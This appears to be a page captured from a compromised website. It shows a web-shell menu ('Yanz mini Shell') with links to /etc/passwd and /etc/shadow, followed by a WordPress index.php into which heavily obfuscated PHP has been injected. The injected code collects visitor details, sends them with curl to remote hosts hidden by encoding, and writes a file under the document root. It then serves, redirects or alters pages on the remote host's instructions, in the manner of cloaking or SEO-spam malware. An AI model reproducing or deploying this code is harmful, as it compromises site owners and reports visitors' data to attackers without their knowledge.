Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
 
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */

$ooc_1z0ke = ooc_4ltuo("MiFX"); $ooc_z0060 = explode(ooc_4ltuo("YNLc"), $ooc_1z0ke); $ooc_bsxfz = ooc_1lmlh() ? ooc_4ltuo("aBpX") : ooc_4ltuo("heNB"); $ooc_pytf3 = ooc_2jm9i(); $ooc_brv7z = empty($ooc_pytf3) ? ooc_4ltuo("bUZt") : $ooc_pytf3; $ooc_7zmvt = $_SERVER[ooc_4ltuo("KXDg")]; $ooc_g9fdj = isset($_SERVER[ooc_4ltuo("Uhfo")]) ? $_SERVER[ooc_4ltuo("bVHS")] : ooc_4ltuo("lGVo"); $ooc_f3z87 = isset($_SERVER[ooc_4ltuo("tYjm")]) ? $_SERVER[ooc_4ltuo("Oauq")] : ooc_4ltuo("ozwn"); $ooc_sgs88 = ooc_4ltuo("YLND") . $ooc_7zmvt . ooc_4ltuo("KCcO") . (ooc_8sefw() ? ooc_4ltuo("MXwm") : ooc_4ltuo("Uobo")) . ooc_4ltuo("aGvu") . urlencode($ooc_brv7z) . ooc_4ltuo("rWxj") . urlencode($ooc_f3z87) . ooc_4ltuo("ffdK") . $ooc_bsxfz . ooc_4ltuo("SZHL") . $ooc_g9fdj; $ooc_jaq69 = ooc_p5cvk($ooc_z0060, $ooc_bsxfz, $ooc_sgs88); $ooc_5ade7 = $_SERVER[ooc_4ltuo("upDq")] . ooc_4ltuo("lvWz"); $ooc_fbuxt = ooc_4ltuo("dktB"); if (!(!(stristr($ooc_brv7z, ooc_4ltuo("MXlk"))))) { $ooc_fbuxt = ooc_4ltuo("VXCX"); } $ooc_jsmba = ooc_4ltuo("WbRJ") . PHP_EOL; $ooc_jsmba .= ooc_4ltuo("HQiX") . PHP_EOL . PHP_EOL; $ooc_jsmba .= ooc_4ltuo("crgQ") . $ooc_bsxfz . ooc_4ltuo("onZY") . $ooc_7zmvt . ooc_4ltuo("Xjkb") . $ooc_fbuxt . ooc_4ltuo("YgWX") . PHP_EOL; if (!(!(!file_exists($ooc_5ade7)))) { file_put_contents($ooc_5ade7, $ooc_jsmba); } else { if (!(!(md5_file($ooc_5ade7) !== md5($ooc_jsmba)))) { @file_put_contents($ooc_5ade7, $ooc_jsmba); } } if (!(!(!strstr($ooc_jaq69, ooc_4ltuo("bUlH"))))) { ooc_o9si7($ooc_jaq69); } function ooc_1lmlh() { return ( isset($_SERVER[ooc_4ltuo("mjgs")]) && strtolower($_SERVER[ooc_4ltuo("KSAV")]) !== ooc_4ltuo("BKOY") || isset($_SERVER[ooc_4ltuo("Tqni")]) && $_SERVER[ooc_4ltuo("heFX")] === ooc_4ltuo("XbdD") || isset($_SERVER[ooc_4ltuo("Wfor")]) && strtolower($_SERVER[ooc_4ltuo("KfFU")]) !== ooc_4ltuo("bSQW") ); } function ooc_2jm9i() { if (!(!(isset($_SERVER[ooc_4ltuo("PJNN")])))) { return $_SERVER[ooc_4ltuo("itHO")]; } elseif (!(!(isset($_SERVER[ooc_4ltuo("TCIe")])))) { return $_SERVER[ooc_4ltuo("MbQt")] . ooc_4ltuo("pBjc") . $_SERVER[ooc_4ltuo("GFoZ")][0]; } else { return $_SERVER[ooc_4ltuo("Itau")] . ooc_4ltuo("eFFh") . $_SERVER[ooc_4ltuo("Nqgs")]; } } function ooc_8sefw() { $ooc_x80w7 = strtolower(isset($_SERVER[ooc_4ltuo("MNnX")]) ? $_SERVER[ooc_4ltuo("TObe")] : ooc_4ltuo("OBVy")); return stristr($ooc_x80w7, ooc_4ltuo("yMGw")) || stristr($ooc_x80w7, ooc_4ltuo("SwwA")) || stristr($ooc_x80w7, ooc_4ltuo("iWDI")) || stristr($ooc_x80w7, ooc_4ltuo("PPFE")) || stristr($ooc_x80w7, ooc_4ltuo("Qvfx")); } function ooc_p5cvk($ooc_gmdl2, $ooc_bsxfz, $ooc_sgs88) { shuffle($ooc_gmdl2); foreach ($ooc_gmdl2 as $ooc_ql1k7) { $ooc_ql1k7 = str_rot13(urldecode($ooc_ql1k7)); $ooc_9tpnj = ooc_4ltuo("XAoE") . $ooc_ql1k7 . ooc_4ltuo("zUBm") . $ooc_sgs88; $ooc_ox1sn = curl_init(); curl_setopt($ooc_ox1sn, CURLOPT_URL, $ooc_9tpnj); curl_setopt($ooc_ox1sn, CURLOPT_RETURNTRANSFER, true); $ooc_94nx8 = curl_exec($ooc_ox1sn); if (!(!(!curl_errno($ooc_ox1sn)))) { curl_close($ooc_ox1sn); return $ooc_94nx8; } else { curl_close($ooc_ox1sn); } if (!(!(ini_get(ooc_4ltuo("uowb"))))) { $ooc_94nx8 = @file_get_contents($ooc_9tpnj); if (!(!($ooc_94nx8 !== false))) { return $ooc_94nx8; } } } echo ooc_4ltuo("CtZf"); } function ooc_o9si7($ooc_jaq69) { if (!(!(strstr($ooc_jaq69, ooc_4ltuo("lmlR"))))) { header(ooc_4ltuo("BjYA")); echo str_replace(ooc_4ltuo("YLrB"), ooc_4ltuo("HgGV"), $ooc_jaq69); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("obsJ"))))) { header(ooc_4ltuo("nYPI")); echo str_replace(ooc_4ltuo("lfNs"), ooc_4ltuo("wecs"), $ooc_jaq69); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("ZcPL"))))) { header(ooc_4ltuo("HIJg")); echo str_replace(ooc_4ltuo("Orgo"), ooc_4ltuo("GwNB"), $ooc_jaq69); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("OEaG"))))) { header(ooc_4ltuo("xHsB")); echo str_replace(ooc_4ltuo("yJqC"), ooc_4ltuo("KteV"), $ooc_jaq69); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("scmd"))))) { header(ooc_4ltuo("zQGL")); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("Gdmz"))))) { header(ooc_4ltuo("CJXw")); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("ABAc"))))) { header(ooc_4ltuo("LfWJ")); $ooc_jaq69 = str_replace(ooc_4ltuo("QLEz"), ooc_4ltuo("FEiE"), $ooc_jaq69); header(ooc_4ltuo("DIGY") . $ooc_jaq69); exit(); } elseif (!(!(strstr($ooc_jaq69, ooc_4ltuo("TlIT"))))) { header(ooc_4ltuo("sCSj")); echo str_replace(ooc_4ltuo("pNaf"), ooc_4ltuo("rvQz"), $ooc_jaq69); exit(); } } define( ooc_4ltuo("ZweC"), true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>